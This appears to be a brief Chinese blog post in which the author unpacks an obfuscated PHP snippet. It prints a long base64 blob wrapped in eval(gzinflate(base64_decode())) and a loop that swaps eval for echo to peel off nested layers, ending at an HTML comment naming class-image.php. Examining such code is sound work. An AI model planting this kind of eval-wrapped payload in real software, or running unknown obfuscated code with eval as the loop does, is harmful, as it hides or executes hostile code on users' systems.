KAVVOUcMptmQZe5PSpnOwX23c3P8pT2qS+5jJMxKYJXRK45CUVoFthwFDR8Yivv26dcrK/wWKfErOqzfZd8PpJRth7BWHezcsDB3sZHBKNf/wmtgLty/HIVoOx2agDJ9WqOZvTclT/HYh4PVekrMMULDwWqD/aOm2b6AZlQ27FftyI1GJ1KYb41N98S3/MDb9tFQOmtd81L5td39r8QqiZIF8T4Hsl2Wea44NQZbCpDSySY5zjSNogstBy9+9nHPY6IhTucl9tGnTqPlSAzweKVFmiugyxgb3r6wVIVErgn4deqSVcB6P0Qn6sV1DrXJNjOvl57OkpJx4Fckl6kmmeu0cxj39/AWf3vwpUPwJXFcexKPD1k7kX29e5dewrf2mogB7ERVBNUs3oSERFgoPWOD39ArQJwIdNQd0Rp9PvybI4ZeAAP78SX/6lzSVYTXu+g4k81iH0+Tmqg7VfE9eM7x0X/434bWasgd2Xf7YMCnfo7D0n5hCv29veEM+GOQ18XiC8d1iFeHki6UwQiR8zDFY+/3x8FaUL2d2gcf786zESyrx11EHv+pnKP4tjBUjDxmq+orstFhaDJj9nqtwnc3LzIQ748fC9L2BKaCpUETydMBBotg8AaNJY3uj1IpI/6u2YOxsrdw/mvBc2O2RpLBJHISMArcjCYz3CaXLBMq/GfCUL6LamuXLfALuqBBooLnPn6EHaCAMzgIJaiKdiwwEuq8Q176sv+oJxmQ6P8CtbGJFkRRQpPvwvUKwHmmUjJf9VYMuy8Jh7NFH4/N8CFYSSUJA9HvlTAK4xtLc9zZbeuYdc0nDx8tYbjuPfFSxMH+Qlgvs7G/Ymu/I2iwNeWIm1maoHzH+EYvpPcvxskxO3e74Nm6N067VorLOsinOMpq52TCsPW2q7+fJFcdturkDoXuQaEMfj5vIpPvvoEb0mZ6mQ4lX1saApV1ni78VVeVPI7DtrbFHclua7AZYnbkNfBsxanrI4KmbykAe+xIUS42j8/FYVqvazUDaDcrYiLadbmWcVOBs8NNO1qSOWnHz0RUrQ8Me+a9XArokuCuXmrqa3/Yd11SY+ggx49UQv2acUIvXkCJF7mrT3jzYb3h6NvlMExqDmnWggYEqJAw4EXOo6dwBcZB4xV8dLOrjC5AGbdj15WnXU1zeKtYWlhtxGeVTEKyspO5bXWtBPw1ddmtl+8sasdD988ufItTlcc0XcniDDZcXf54wH6yoKbj64Gja4F+vsAZTSR+wf6Jnv/NsWVCU65v7XCMk68gCMIAjT5voDUf//5999///N/');

他丫的搞这么复杂干嘛,这么怪的代码,谁都知道有问题。

$b = eval(gzinflate(base64_decode($v));

gzinflate 函数以前还没用过
http://php.net/manual/zh/function.gzinflate.php
既然是Zlib的函数,本觉得应该和 gzdeflate 配合使用啊,怎么和 base64_decode 配合使用了呢?

直接echo还不行,这家伙还循环嵌套。

while (strstr($a, "eval")) {
    ob_start();
    eval(str_replace("eval", "echo", $a));
    $a = ob_get_contents();
}
echo $a;

最后结果是

<!--mn class-image.php-->

这什么意思?

嗨,老铁,欢迎来到我的博客!

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